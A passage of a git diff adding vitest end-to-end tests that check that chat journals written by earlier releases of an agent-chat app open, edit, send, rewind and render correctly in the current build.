'../../../src/shared/agent-session-journal-types' +import { parseJournalRow } from '../../../src/main/native-chat/agent-session-journal/journal-row-schema' +import type { JournalStoredRow } from '../../../src/main/native-chat/agent-session-journal/journal-row-table' +import { JournalWriteProjection } from '../../../src/main/native-chat/agent-session-journal/journal-write-projection' +import { resolveRecentStableReleaseRefs } from './release-checkout' +import { + editReleasedCard, + rewindReleasedChat, + sendAfterUpgrade, + type ContinuedJournal +} from './released-chat-continuation' +import { + identityOf, + releasedJournalOpener, + writeReleasedChat, + type Agent +} from './released-chat-writers' + +// Each release in the downgrade window, and the oldest release whose chat database this build still +// reads, writes a Claude and a Codex chat through its own writers. This build admits every row as +// written, opens the chat as that release had it, then edits a queued card (its first write, over +// a key the old rows hold), sends, and rewinds, which saves the kept chat again in this build's +// form. Every commit restores to the live chat. What this build does after the open is checked on +// its own result, never against a release, so main stays free to change it. +const SUITE_TIMEOUT_MS = 180_000 +const RELEASES = { + 'the newest release': () => resolveRecentStableReleaseRefs(2)[0]!, + 'the release before it': () => resolveRecentStableReleaseRefs(2)[1]!, + // The first release with one chat database per host (schema 3, the oldest this build opens); + // earlier releases kept a file per chat, which nothing reads any more. It never changes. + 'the oldest release with this chat database': () => 'v1.4.219' +} as const +type Written = Awaited> + +beforeEach(() => { + JournalWriteProjection.verifyEachCommit = true +}) +afterEach(() => { + JournalWriteProjection.verifyEachCommit = false +}) + +const view = (journal: ContinuedJournal) => ({ + snapshot: journal.snapshot(), + cards: [...journal.queuedMessages.list()] +}) + +/** What the release wrote: its items, sends and cards, in order. Fields a later build adds to them + * are not compared (`toMatchObject`), so main may add one; a changed value or order still fails. */ +const releaseWritten = ({ + snapshot, + cards +}: { + snapshot: AgentJournalSnapshot + cards: unknown[] +}) => ({ + items: snapshot.items, + submissions: snapshot.submissions, + cards +}) + +const kept = (items: ReturnType['items']) => + items.map(({ itemId, body }) => ({ itemId, body })) + +/** The chat as `opener`'s build opens it, over a copy so the original stays as the release left it. */ +async function openedBy(opener: TrackedJournalOpener, agent: Agent, stateDirectory: string) { + return opener + .open({ identity: identityOf(agent), stateDirectory }) + .then(view) + .finally(() => opener.closeAll()) +} + +/** Opens the chat, edits, sends and rewinds it, then reopens it; checks what the user sees. */ +async function carryOn( + opener: TrackedJournalOpener, + agent: Agent, + stateDirectory: string, + written: Written, + prefix?: JournalStoredRow[] +) { + const options = { + identity: identityOf(agent), + stateDirectory, + now: written.now, + mintEpoch: () => 'epoch-rewound' + } + const carried = await opener + .open(options) + .then(async (journal) => { + const opened = view(journal) + await editReleasedCard(journal) + if (prefix) { + // The release's rows stay byte for byte; one marker follows them, where records begin. + const database = openTestJournalHostDatabase(stateDirectory) + const rows = liveTestJournalRows(database.db, options.identity.sessionId) + expect(rows.slice(0, prefix.length)).toEqual(prefix) + expect(rows).toHaveLength(prefix.length + 1) + expect( + journalOutcomeSource(database.db, options.identity.sessionId, journal.epoch)?.prefix + ).toBe(prefix.length) + } + await sendAfterUpgrade(journal) + const sent = view(journal) + expect(sent.snapshot.submissions).toContainEqual( + expect.objectContaining({ clientMessageId: 'after-upgrade', dispatchState: 'accepted' }) + ) + await rewindReleasedChat(journal, new Set(opened.snapshot.items.map((item) => item.itemId))) + expect(journal.epoch).toBe('epoch-rewound') + const seen = view(journal) + // The rewind keeps every message the release wrote and every card not taken back, the edit + // included. + expect(kept(seen.snapshot.items)).toEqual(kept(opened.snapshot.items)) + expect(seen.cards.map((card) => card.messageId)).toEqual( + opened.cards.filter((card) => card.state !== 'withdrawn').map((card) => card.messageId) + ) + expect(seen.cards).toHaveLength(1) + for (const result of [sent, seen]) { + expect(result.cards.find((card) => card.messageId === 'card-2')?.body.blocks).toEqual([ + { type: 'text', text: 'second, edited after the upgrade' } + ]) + } + return { opened, seen } + }) + .finally(() => opener.closeAll()) + const reopened = await opener + .open(options) + .then(view) + .finally(() => opener.closeAll()) + expect(reopened).toEqual(carried.seen) + return carried +} + +describe('a chat a shipped release wrote, carried on by this build', () => { + it.each([ + ['the newest release', 'claude'], + ['the newest release', 'codex'], + ['the release before it', 'claude'], + ['the release before it', 'codex'], + ['the oldest release with this chat database', 'claude'], + ['the oldest release with this chat database', 'codex'] + ] as const)( + 'admits every row %s wrote for a %s chat, opens it as the newest release does, then edits, sends and rewinds it', + async (build, agent) => { + const directory = mkdtempSync(join(tmpdir(), 'orca-released-chat-upgrade-')) + const shipped = mkdtempSync(join(tmpdir(), 'orca-released-chat-shipped-')) + const identity = identityOf(agent) + try { + const written = await writeReleasedChat(RELEASES[build](), agent, directory) + // Anti-vacuous: the release's stream (beyond the two sends and the Stop turn), sends and + // queue all reached the chat. + expect(written.snapshot.items.length).toBeGreaterThan(3) + expect(written.snapshot.submissions.map((entry) => entry.clientMessageId)).toEqual( + expect.arrayContaining(['sent', 'refused']) + ) + expect(written.cards).toHaveLength(2) + + const database = openTestJournalHostDatabase(directory) + const rows = liveTestJournalRows(database.db, identity.sessionId) + expect(rows.filter((row) => !parseJournalRow(row.rowJson).ok)).toEqual([]) + // Anti-vacuous: the release wrote every row kind a chat holds (cards in their own table + // before they moved into the rows). + const kinds = new Set(rows.map((row) => JSON.parse(row.rowJson).kind)) + expect([...kinds].filter((kind) => kind !== 'queue').sort()).toEqual( + ['dispatch', 'epoch', 'item', 'lifecycle-batch', 'submission', 'tombstone'].sort() + ) + expect(kinds.has('queue')).toBe(build !== 'the oldest release with this chat database') + expect(restoreJournal(database.db, identity.sessionId)).toMatchObject({ + newer: null, + damage: null + }) + await closeTestJournalHostDatabase(directory) + cpSync(directory, shipped, { recursive: true }) + + const ours = await carryOn(createTrackedJournalOpener(), agent, directory, written, rows) + if (build !== 'the oldest release with this chat database') { + // A release in the window wrote the shapes this build reads, so it opens as written, + // and the edit records the card the old rows hold in its place among them. + expect(releaseWritten(ours.opened)).toMatchObject(releaseWritten(written)) + const edits = openTestJournalHostDatabase(directory) + .db.prepare(`SELECT ordinal FROM journal_outcomes + WHERE field = 'queue.cards' AND entry_key = '"card-2"'`) + .all() + expect(edits).toContainEqual({ ordinal: JOURNAL_PREFIX_ORDINAL }) + await closeTestJournalHostDatabase(directory) + } + // This build opens the chat as the newest release does. + const newest = await releasedJournalOpener(RELEASES['the newest release']()) + expect(releaseWritten(ours.opened)).toMatchObject( + releaseWritten(await openedBy(newest, agent, shipped)) + ) + } finally { + rmSync(directory, { recursive: true, force: true }) + rmSync(shipped, { recursive: true, force: true }) + } + }, + SUITE_TIMEOUT_MS + ) +}) diff --git a/tests/e2e/cross-version-wire/released-chat-writers.ts b/tests/e2e/cross-version-wire/released-chat-writers.ts new file mode 100644 index 00000000000..fff6bff1afa --- /dev/null +++ b/tests/e2e/cross-version-wire/released-chat-writers.ts @@ -0,0 +1,301 @@ +import { existsSync, readFileSync } from 'node:fs' +import { join } from 'node:path' +import { expect, vi } from 'vitest' +import { z } from 'zod' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalMessageItem, + type AgentJournalSnapshot, + type AgentSessionJournalIdentity +} from '../../../src/shared/agent-session-journal-types' +import { + claudeProviderHandle, + codexProviderHandle +} from '../../../src/shared/agent-session-provider-handle-encoding' +import type { agentSessionFailureFact } from '../../../src/shared/agent-session-failure' +import type { agentSessionFailureWords } from '../../../src/shared/agent-session-failure-words' +import type { createClaudeJournalTranslator } from '../../../src/main/claude/claude-structured-journal-translation' +import type { createCodexJournalTranslator } from '../../../src/main/codex/codex-structured-journal-translation' +import type { createDeferredStructuredAgentSessionEventSink } from '../../../src/main/native-chat/agent-session-wire/structured-agent-session-event-sink' +import type { createTrackedJournalOpener } from '../../../src/main/native-chat/agent-session-journal/journal-host-database-test-support' +import { + importReleaseCheckoutModule, + materializeReleaseCheckout, + releaseModuleExport +} from './release-checkout' +import { queueReleasedCards } from './released-chat-queue' + +// A released build's own writers, for a chat as its host writes one: its translators fed its own +// captured provider streams, sends with their dispatch results, queue edits, Stop and Resume, a +// Stop settlement and a removed item. + +const JOURNAL = 'src/main/native-chat/agent-session-journal' +const FENCE = 1 + +export type Agent = 'claude' | 'codex' +type Opener = ReturnType +type Journal = Awaited> +type Released = Awaited> + +export const identityOf = (agent: Agent): AgentSessionJournalIdentity => ({ + sessionId: `session-released-${agent}`, + workspaceId: 'ws-1', + hostId: 'host-1', + agent, + providerHandle: + agent === 'codex' ? codexProviderHandle('thread-1') : claudeProviderHandle('claude-1', null) +}) + +async function released(ref: string) { + const checkout = await materializeReleaseCheckout(ref) + const load = async (path: string, name: string): Promise => + releaseModuleExport(await importReleaseCheckoutModule(checkout, path), name) + const fact = await load( + 'src/shared/agent-session-failure.ts', + 'agentSessionFailureFact' + ) + const words = await load( + 'src/shared/agent-session-failure-words.ts', + 'agentSessionFailureWords' + ) + return { + root: checkout.root, + opener: await load( + `${JOURNAL}/journal-host-database-test-support.ts`, + 'createTrackedJournalOpener' + ), + claude: await load( + 'src/main/claude/claude-structured-journal-translation.ts', + 'createClaudeJournalTranslator' + ), + codex: await load( + 'src/main/codex/codex-structured-journal-translation.ts', + 'createCodexJournalTranslator' + ), + sink: await load( + 'src/main/native-chat/agent-session-wire/structured-agent-session-event-sink.ts', + 'createDeferredStructuredAgentSessionEventSink' + ), + queueFull: () => words(fact('queueFull'), { surface: 'rejection' }), + /** Releases before Stop events record only the interrupted turn. */ + stopEvents: existsSync(join(checkout.root, JOURNAL, 'journal-stop-marks.ts')) + } +} + +const message = (text: string): AgentJournalMessageItem => ({ + kind: 'message', + role: 'user', + blocks: [{ type: 'text', text }] +}) + +/** Sends, their dispatch results and queue edits, as the host's send and queue paths write them. */ +async function sendsAndQueue(journal: Journal, release: Released): Promise { + await journal.appendSubmission({ + clientMessageId: 'sent', + payloadFingerprint: 'fp-sent', + body: message('sent'), + fence: FENCE, + handoverRecorded: true, + origin: 'client', + source: { kind: 'user' }, + options: { model: 'model-1', effort: 'high' } + }) + await journal.resolveDispatch({ + clientMessageId: 'sent', + fence: FENCE, + state: 'pending', + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal.resolveDispatch({ + clientMessageId: 'sent', + fence: FENCE, + state: 'accepted', + providerIdentity: null + }) + await journal.appendSubmission({ + clientMessageId: 'refused', + payloadFingerprint: 'fp-refused', + body: message('refused'), + fence: FENCE + }) + await journal.resolveDispatch({ + clientMessageId: 'refused', + fence: FENCE, + state: 'rejected', + ...release.queueFull() + }) + await queueReleasedCards(journal.queuedMessages) +} + +const claudeCapture = z.object({ at: z.number(), frame: z.record(z.string(), z.unknown()) }) +const codexCapture = z.object({ + case: z.string(), + t: z.number(), + method: z.string(), + params: z.record(z.string(), z.unknown()) +}) + +function capture(release: Released, path: string): unknown[] { + return readFileSync(join(release.root, path), 'utf8') + .trim() + .split('\n') + .map((line) => JSON.parse(line)) +} + +/** The release's translator, fed its own captured provider stream, writes through its event sink. */ +async function stream( + release: Released, + agent: Agent, + journal: Journal, + clock: { at: number } +): Promise { + const sessionId = identityOf(agent).sessionId + const failed = vi.fn() + const sink = release.sink({ + sessionId, + logger: { warn: vi.fn(), error: vi.fn() }, + onFailed: failed + }) + sink.bind({ journal, fence: FENCE, publish: () => undefined }) + const pending = new Set<() => void>() + const schedule = (run: () => void) => { + pending.add(run) + return () => { + pending.delete(run) + } + } + const flush = async (translator: { flush: () => void }) => { + translator.flush() + const runs = [...pending] + pending.clear() + for (const run of runs) { + run() + } + expect(await sink.drained()).toEqual({ ok: true }) + } + try { + if (agent === 'claude') { + const translator = release.claude({ sink: sink.sink, schedule }) + for (const line of capture( + release, + 'src/main/claude/__fixtures__/claude-adapter-capture-miss.jsonl' + )) { + const record = claudeCapture.safeParse(line) + if (record.success) { + clock.at = 1_000 + record.data.at + translator.handle({ + type: 'message', + sessionId, + message: record.data.frame, + observedAt: clock.at + }) + await flush(translator) + } + } + translator.dispose() + } else { + const translator = release.codex({ sink: sink.sink, schedule, now: () => clock.at }) + const records = capture( + release, + 'src/main/codex/__fixtures__/codex-app-server-turn-endings.jsonl' + ) + .map((line) => codexCapture.parse(line)) + .filter((record) => record.case === '0.158.0-control') + expect(records.length).toBeGreaterThan(0) + for (const record of records) { + clock.at = 1_000 + record.t + const threadId = + typeof record.params.threadId === 'string' ? record.params.threadId : 'thread-1' + translator.handle({ + type: 'notification', + sessionId, + threadId, + method: record.method, + params: record.params, + observedAt: clock.at + }) + await flush(translator) + } + translator.dispose() + } + expect(failed).not.toHaveBeenCalled() + } finally { + sink.close() + } +} + +/** A Stop with its settlement, a Resume, and an item later removed. */ +async function stopAndRemove( + journal: Journal, + release: Released, + clock: { at: number } +): Promise { + const stopped = { provider: 'orca', clientMessageId: 'stopped-turn' } as const + const scope = { fence: FENCE, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + await journal.appendItem(stopped, { kind: 'turn', turnId: 'stop-turn', state: 'running' }, scope) + if (release.stopEvents) { + await journal.appendStopEvent({ reason: 'user-stop', turnId: 'stop-turn' }, FENCE) + } + const settle = release.stopEvents ? journal.stopMarks.beginSettle(true) : undefined + await journal.appendLifecycleBatch({ + settlementId: 'stop-settlement', + fence: FENCE, + mutations: [ + { + kind: 'item', + identity: stopped, + body: { + kind: 'turn', + turnId: 'stop-turn', + state: 'interrupted', + completedAt: clock.at + 1 + }, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ] + }) + if (settle !== undefined) { + journal.stopMarks.settled(settle) + await journal.appendQueueResume(FENCE) + } + const removed = { provider: 'orca', clientMessageId: 'removed-note' } as const + await journal.appendItem(removed, { kind: 'status', text: 'removed' }, scope) + await journal.appendTombstone(removed, { fence: FENCE }) +} + +/** Writes a whole chat with the release at `ref`; returns the chat and queue as it closed them. */ +export async function writeReleasedChat( + ref: string, + agent: Agent, + stateDirectory: string +): Promise<{ snapshot: AgentJournalSnapshot; cards: unknown[]; now: () => number }> { + const release = await released(ref) + const clock = { at: 1_000 } + const journals = release.opener() + try { + const journal = await journals.open({ + identity: identityOf(agent), + stateDirectory, + now: () => clock.at + }) + if (agent === 'codex') { + // An imported conversation's epoch carries its history origin. + await journal.replaceEpochItems('legacy_import', FENCE, []) + } + await sendsAndQueue(journal, release) + await stream(release, agent, journal, clock) + await stopAndRemove(journal, release, clock) + return { + snapshot: journal.snapshot(), + cards: [...journal.queuedMessages.list()], + now: () => clock.at + } + } finally { + await journals.closeAll() + } +} + +/** The release's own journal opener, to carry a chat on as that release would. */ +export async function releasedJournalOpener(ref: string): Promise { + return (await released(ref)).opener() +} diff --git a/tests/e2e/journal-restored-consumers.unit.test.ts b/tests/e2e/journal-restored-consumers.unit.test.ts new file mode 100644 index 00000000000..6bdaf23f969 --- /dev/null +++ b/tests/e2e/journal-restored-consumers.unit.test.ts @@ -0,0 +1,482 @@ +// @vitest-environment happy-dom + +import '../../src/main/runtime/rpc/unused-default-rpc-methods.test-fixture' +import '@testing-library/jest-dom/vitest' +import { createElement } from 'react' +import { cleanup, screen } from '@testing-library/react' +import { afterAll, afterEach, beforeAll, expect, it, vi } from 'vitest' +import { + AGENT_JOURNAL_THREAD_SCOPE, + AGENT_SESSION_JOURNAL_SCHEMA_VERSION, + type AgentJournalCursor, + type AgentJournalMessageItem +} from '../../src/shared/agent-session-journal-types' +import { AGENT_SESSION_CURRENT_REQUESTS_CLIENT_CAPABILITY } from '../../src/shared/agent-session-current-requests-capability' +import { + AGENT_SESSION_HISTORY_MAX_LIMIT, + type AgentSessionHistoryRequest, + type AgentSessionHistoryResult, + type AgentSessionSubscribeEvent +} from '../../src/shared/agent-session-wire' +import { MOBILE_BRIDGE_MAX_FRAME_BYTES } from '../../src/shared/mobile-bridge-frame-bytes' +import { + AGENT_SESSION_SNAPSHOT_CATCH_UP_CLIENT_CAPABILITY, + AGENT_SESSION_TURN_ITEM_CAPABILITY +} from '../../src/shared/protocol-version' +import type { RuntimeRpcResponse } from '../../src/shared/runtime-rpc-envelope' +import { withNativeChatCutTurnNotices } from '../../src/shared/native-chat/transcript/native-chat-cut-turn-notice' +import { nativeChatRowsInDrawOrder } from '../../src/shared/native-chat/transcript/native-chat-turn-grouping' +import { nativeChatTurnMembership } from '../../src/shared/native-chat-turn-membership' +import { projectStructuredAgentSessionMessages } from '../../src/shared/structured-agent-session-message-projection' +import { + EMPTY_STRUCTURED_AGENT_SESSION, + oldestStructuredAgentSessionCursor, + reduceStructuredAgentSession, + type StructuredAgentSessionState +} from '../../src/shared/structured-agent-session-reducer' +import { selectStructuredAgentSettledTurns } from '../../src/shared/structured-agent-session-turn-timing' +import { openTestJournalHostDatabase } from '../../src/main/native-chat/agent-session-journal/journal-host-database-test-support' +import { restoreJournal } from '../../src/main/native-chat/agent-session-journal/journal-open' +import { journalOutcomeSource } from '../../src/main/native-chat/agent-session-journal/journal-outcome-format' +import { prepareJournalOutcomeWrite } from '../../src/main/native-chat/agent-session-journal/journal-outcome-write' +import type { JournalRow } from '../../src/main/native-chat/agent-session-journal/journal-row-schema' +import { hostTestAttachParams } from '../../src/main/native-chat/agent-session-wire/structured-agent-session-host-test-data' +import { seedQueuedRigLegacyJournal } from '../../src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-journal.test-fixture' +import { + createRestTestRig, + REST_TEST_CALLER, + REST_TEST_SESSION as SESSION, + type RestTestRig +} from '../../src/main/native-chat/agent-session-wire/structured-agent-session-rest-test-rig' +import { setStructuredAgentSessionHost } from '../../src/main/native-chat/agent-session-wire/structured-agent-session-registry' +import { OrcaRuntimeService } from '../../src/main/runtime/orca-runtime' +import { RpcDispatcher } from '../../src/main/runtime/rpc/dispatcher' +import { STRUCTURED_AGENT_SESSION_METHODS } from '../../src/main/runtime/rpc/methods/structured-agent-session' +import { + STRUCTURED_CLIENT, + STRUCTURED_MOBILE_CLIENT +} from '../../src/main/runtime/rpc/methods/structured-agent-session-rpc-client.test-fixture' +import { MAX_TIMER_DELAY_MS } from '../../src/shared/timer-delay' +import { + buildMobileNativeChatTransientData, + foldMobileNativeChatMessages +} from '../../mobile/src/session/mobile-native-chat-render-data' +import { NativeChatMessageList } from '../../src/renderer/src/components/native-chat/NativeChatMessageList' +import { render } from '../../src/renderer/src/components/native-chat/native-chat-tooltip-test-harness' +import { installNativeChatMessageListTestViewport } from '../../src/renderer/src/components/native-chat/native-chat-message-list-test-viewport' + +vi.mock('../../src/renderer/src/components/native-chat/NativeChatInlineVisual', () => ({ + NativeChatInlineVisual: () => { + throw new Error('Unexpected inline visual') + } +})) +vi.mock('@/lib/open-agent-message-sender', () => ({ + openAgentMessageSender: () => { + throw new Error('Unexpected sender navigation') + } +})) + +const PROMPT = 'Keep the original question after restart' +const STALE = 'Saved answer before revision' +const ANSWER = 'Completed answer after restore' +const REMOVED = 'Disposable status before restart' +const OLDER = 'The earlier question' +const OLDER_ANSWER = 'The earlier completed answer' +const PUBLISHED = 'Published after restore' +const currentDesktop = { + ...STRUCTURED_CLIENT, + clientCapabilities: [ + ...STRUCTURED_CLIENT.clientCapabilities, + AGENT_SESSION_SNAPSHOT_CATCH_UP_CLIENT_CAPABILITY, + AGENT_SESSION_CURRENT_REQUESTS_CLIENT_CAPABILITY, + AGENT_SESSION_TURN_ITEM_CAPABILITY + ] +} +const clients = [ + ['bounded phone', STRUCTURED_MOBILE_CLIENT, true, true], + ['current paired desktop', currentDesktop, false, true], + ['legacy paired desktop', STRUCTURED_CLIENT, false, false] +] as const +// A new chat holds only records; an existing (mixed) chat holds old input rows up to the restart +// and records after its marker, so catch-up from a cursor inside the old rows crosses into records. +const cases = (['new', 'mixed'] as const).flatMap((kind) => + clients.map( + ([name, client, bounded, snapshotCatchUp]) => + [kind, name, client, bounded, snapshotCatchUp] as const + ) +) +const message = ( + text: string, + role: 'user' | 'assistant' = 'assistant' +): AgentJournalMessageItem => ({ + kind: 'message', + role, + blocks: [{ type: 'text', text }] +}) +let rig: RestTestRig | undefined +let controllers: AbortController[] = [] +let restoreViewport = () => {} +beforeAll(() => { + restoreViewport = installNativeChatMessageListTestViewport() +}) +afterAll(() => restoreViewport()) +afterEach(async () => { + cleanup() + for (const controller of controllers) { + controller.abort() + } + controllers = [] + setStructuredAgentSessionHost(null) + await rig?.dispose() + rig = undefined + vi.restoreAllMocks() +}) + +function desktop(state: StructuredAgentSessionState): void { + render( + createElement(NativeChatMessageList, { + session: { + messages: projectStructuredAgentSessionMessages(state.items, [], state.submissions), + status: 'ready', + sessionId: SESSION, + agent: 'codex', + hasMore: state.hasOlder, + loadingEarlier: false, + olderHistoryGeneration: 1, + loadEarlier: vi.fn(), + readPhase: 'ready' + }, + journalItems: state.items, + journalSubmissions: state.submissions, + settledTurns: selectStructuredAgentSettledTurns(state.items, state.submissions), + isWorking: false, + workingStartedAt: null, + expandSignal: false + }) + ) + const ordered = [OLDER, OLDER_ANSWER, PROMPT, ANSWER, PUBLISHED].map((text) => { + expect(screen.getAllByText(text)).toHaveLength(1) + return screen.getByText(text) + }) + expect(screen.queryByText(STALE)).toBeNull() + expect(screen.queryByText(REMOVED)).toBeNull() + let previous: HTMLElement | undefined + for (const row of ordered) { + if (previous) { + expect(previous.compareDocumentPosition(row) & Node.DOCUMENT_POSITION_FOLLOWING).not.toBe(0) + } + previous = row + } + cleanup() +} + +function phone(state: StructuredAgentSessionState): void { + const items = withNativeChatCutTurnNotices(state.items, { agentName: 'Codex' }) + const messages = projectStructuredAgentSessionMessages(items, [], state.submissions) + const folded = foldMobileNativeChatMessages(messages, 'codex') + const { data } = buildMobileNativeChatTransientData({ folded, streaming: null, pending: [] }) + const membership = nativeChatTurnMembership(data, { items, submissions: state.submissions }) + const rows = nativeChatRowsInDrawOrder(data, membership.drawOrder) + const displayed = rows.flatMap((row) => + row.blocks.flatMap((block) => + block.type === 'text' ? [{ role: row.role, text: block.text }] : [] + ) + ) + const expected = [ + { role: 'user', text: OLDER }, + { role: 'assistant', text: OLDER_ANSWER }, + { role: 'user', text: PROMPT }, + { role: 'assistant', text: ANSWER }, + { role: 'assistant', text: PUBLISHED } + ] + expect(displayed.filter((row) => expected.some((target) => target.text === row.text))).toEqual( + expected + ) + expect(displayed.some((row) => row.text === STALE || row.text === REMOVED)).toBe(false) +} + +it.each(cases)( + 'draws a restored %s chat, prefix and tail, through %s history and subscriber delivery', + async (kind, _name, client, bounded, snapshotCatchUp) => { + const active = await createRestTestRig({ idleSweep: { intervalMs: MAX_TIMER_DELAY_MS } }) + rig = active + setStructuredAgentSessionHost(active.host) + const pinInputs = kind === 'mixed' ? seedQueuedRigLegacyJournal(active.root, SESSION) : null + const attached = await active.host.attach(REST_TEST_CALLER, hostTestAttachParams(null)) + if (!attached.ok) { + throw new Error('Fixture attach refused') + } + pinInputs?.(active.host) + const journal = active.host.collaboratorsForTests().sessions.get(SESSION)?.journal + if (!journal) { + throw new Error('Fixture journal absent') + } + const options = { fence: attached.fence, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + const dispatcher = new RpcDispatcher({ + runtime: new OrcaRuntimeService(), + methods: STRUCTURED_AGENT_SESSION_METHODS + }) + let requestId = 0 + async function history(request: Omit) { + const frame: RuntimeRpcResponse = JSON.parse( + JSON.stringify( + await dispatcher.dispatch( + { + id: `history-${++requestId}`, + authToken: 'token', + method: 'agentSession.history', + params: { sessionId: SESSION, ...request } + }, + client + ) + ) + ) + if (!frame.ok) { + throw new Error(`History RPC failed: ${frame.error.code}`) + } + if (!frame.result.ok) { + throw new Error(`History reset: ${frame.result.reset}`) + } + return frame.result.page + } + const append = journal.appendItem.bind(journal) + async function completedTurn(id: string, prompt: string, answer: string) { + const user = await append( + { provider: 'orca', clientMessageId: `${id}-user` }, + message(prompt, 'user'), + options + ) + const turn = await append( + { provider: 'orca', clientMessageId: `${id}-turn` }, + { + kind: 'turn', + turnId: id, + userItemId: user.itemId, + state: 'completed', + outcome: 'success', + startedAt: active.clock.now - 2_000, + completedAt: active.clock.now - 1_000 + }, + options + ) + const turnScope = { kind: 'turn', turnItemId: turn.itemId } as const + const response = await append( + { provider: 'orca', clientMessageId: `${id}-answer` }, + message(answer), + { ...options, turnScope } + ) + return { response, turnScope } + } + await completedTurn('older', OLDER, OLDER_ANSWER) + for (let index = 0; index < AGENT_SESSION_HISTORY_MAX_LIMIT; index += 1) { + await journal.appendItem( + { provider: 'orca', clientMessageId: `context-${index}` }, + message(`Context ${index}`), + options + ) + } + // The mixed reader resumes from here, inside the old rows. + const crossing = kind === 'mixed' ? await history({ direction: 'tail' }) : null + const { response, turnScope } = await completedTurn('current', PROMPT, STALE) + const disposable = await journal.appendItem( + { provider: 'orca', clientMessageId: 'disposable' }, + { kind: 'status', text: REMOVED }, + options + ) + const prefixPage = await history({ direction: 'tail' }) + expect(prefixPage.hasOlder).toBe(true) + expect(JSON.stringify(prefixPage.items)).toContain(STALE) + expect(JSON.stringify(prefixPage.items)).toContain(REMOVED) + expect(JSON.stringify(prefixPage.items)).not.toContain(OLDER) + const resumeFrom = crossing ?? prefixPage + const resumeCursor = resumeFrom.liveCursor + if (!resumeCursor) { + throw new Error('Missing pre-close history cursor') + } + await active.host.close(SESSION, 'evict') + expect(active.host.hasSession(SESSION)).toBe(false) + const database = openTestJournalHostDatabase(active.root) + const saved = restoreJournal(database.db, SESSION)?.state + if (!saved) { + throw new Error('Missing usable projection before tail append') + } + const prefix = { epoch: saved.epoch, sequence: saved.lastSequence } + expect(prefix.sequence).toBeGreaterThanOrEqual(resumeCursor.sequence) + database.transaction( + (db) => { + const rows: JournalRow[] = [] + for (let offset = 1; offset <= AGENT_SESSION_HISTORY_MAX_LIMIT; offset += 1) { + rows.push({ + v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, + epoch: prefix.epoch, + seq: prefix.sequence + offset, + fence: attached.fence, + ts: active.clock.now + offset, + kind: 'item', + itemId: response.itemId, + revision: response.revision + offset, + body: message( + offset === AGENT_SESSION_HISTORY_MAX_LIMIT ? ANSWER : `Answer revision ${offset}` + ), + turnScope + }) + } + rows.push({ + v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, + epoch: prefix.epoch, + seq: prefix.sequence + AGENT_SESSION_HISTORY_MAX_LIMIT + 1, + fence: attached.fence, + ts: active.clock.now + AGENT_SESSION_HISTORY_MAX_LIMIT + 1, + kind: 'tombstone', + itemId: disposable.itemId, + revision: disposable.revision + 1 + }) + return prepareJournalOutcomeWrite(db, saved, rows, active.clock.now) + }, + false, + (result) => { + result.adopt() + } + ) + // Anti-vacuous: the mixed chat's rows end at the restart and its records follow the marker. + expect(journalOutcomeSource(database.db, SESSION, prefix.epoch)?.prefix).toBe( + kind === 'mixed' ? prefix.sequence : 0 + ) + const restoredPage = await history({ direction: 'tail' }) + expect(restoredPage.liveCursor?.sequence).toBeGreaterThan(prefix.sequence) + expect(active.adapter.acquire).toHaveBeenCalledTimes(1) + const subscribe = vi.spyOn(active.host, 'subscribe') + async function stream(cursor?: AgentJournalCursor) { + const events: AgentSessionSubscribeEvent[] = [] + const rawFrames: string[] = [] + const controller = new AbortController() + controllers.push(controller) + await dispatcher.dispatchStreaming( + { + id: `stream-${++requestId}`, + authToken: 'token', + method: 'agentSession.subscribe', + params: { sessionId: SESSION, ...(cursor ? { cursor } : {}) } + }, + (raw) => { + const frame: RuntimeRpcResponse = JSON.parse(raw) + if (!frame.ok) { + throw new Error(`Subscription RPC failed: ${frame.error.code}`) + } + rawFrames.push(raw) + events.push(frame.result) + }, + { + ...client, + clientId: 'client-1', + connectionId: 'restored-reader', + signal: controller.signal + } + ) + expect(subscribe).toHaveBeenLastCalledWith(expect.objectContaining({ snapshotCatchUp })) + expect(subscribe.mock.calls.at(-1)?.[0].boundedFrames === true).toBe(bounded) + return { events, rawFrames } + } + const hydrated = await stream() + expect(hydrated.events[0]?.type).toBe('snapshot') + const resumed = await stream(resumeCursor) + if (snapshotCatchUp) { + expect(resumed.events.some((event) => event.type === 'snapshot')).toBe(true) + } else if (kind === 'mixed') { + expect(resumed.events.every((event) => event.type === 'batch')).toBe(true) + // Old rows after the cursor, then records after the marker. + const batches = resumed.events.flatMap((event) => + event.type === 'batch' ? [event.batch] : [] + ) + expect(batches.some((batch) => JSON.stringify(batch.items).includes(PROMPT))).toBe(true) + expect(batches.some((batch) => batch.removedItemIds.includes(disposable.itemId))).toBe(true) + } else { + expect(resumed.events.every((event) => event.type === 'batch')).toBe(true) + expect( + resumed.events.filter( + (event) => + event.type === 'batch' && + (event.batch.items.length > 0 || event.batch.removedItemIds.length > 0) + ) + ).toHaveLength(2) + expect(resumed.events.some((event) => event.type === 'batch' && event.hasNewer)).toBe(true) + expect( + resumed.events.some( + (event) => + event.type === 'batch' && event.batch.removedItemIds.includes(disposable.itemId) + ) + ).toBe(true) + } + const restored = active.host.collaboratorsForTests().sessions.get(SESSION)?.journal + if (!restored) { + throw new Error('History failed to reopen journal') + } + const priorHydrated = hydrated.events.length + const priorResumed = resumed.events.length + const published = await restored.appendItem( + { provider: 'orca', clientMessageId: 'published' }, + message(PUBLISHED), + options + ) + await vi.waitFor(() => { + for (const [reader, from] of [ + [hydrated, priorHydrated], + [resumed, priorResumed] + ] as const) { + expect( + reader.events + .slice(from) + .some( + (event) => + event.type === 'batch' && + event.batch.items.some((item) => item.itemId === published.itemId) + ) + ).toBe(true) + } + }) + for (const [reader, initial] of [ + [hydrated, EMPTY_STRUCTURED_AGENT_SESSION], + [ + resumed, + reduceStructuredAgentSession( + EMPTY_STRUCTURED_AGENT_SESSION, + { type: 'history-page', page: resumeFrom }, + 1_000 + ) + ] + ] as const) { + let state = reader.events.reduce( + (state, event) => reduceStructuredAgentSession(state, { type: 'event', event }, 1_000), + initial + ) + expect(state.status).toBe('ready') + expect(state.hasOlder).toBe(true) + expect(JSON.stringify(state.items)).not.toContain(OLDER) + 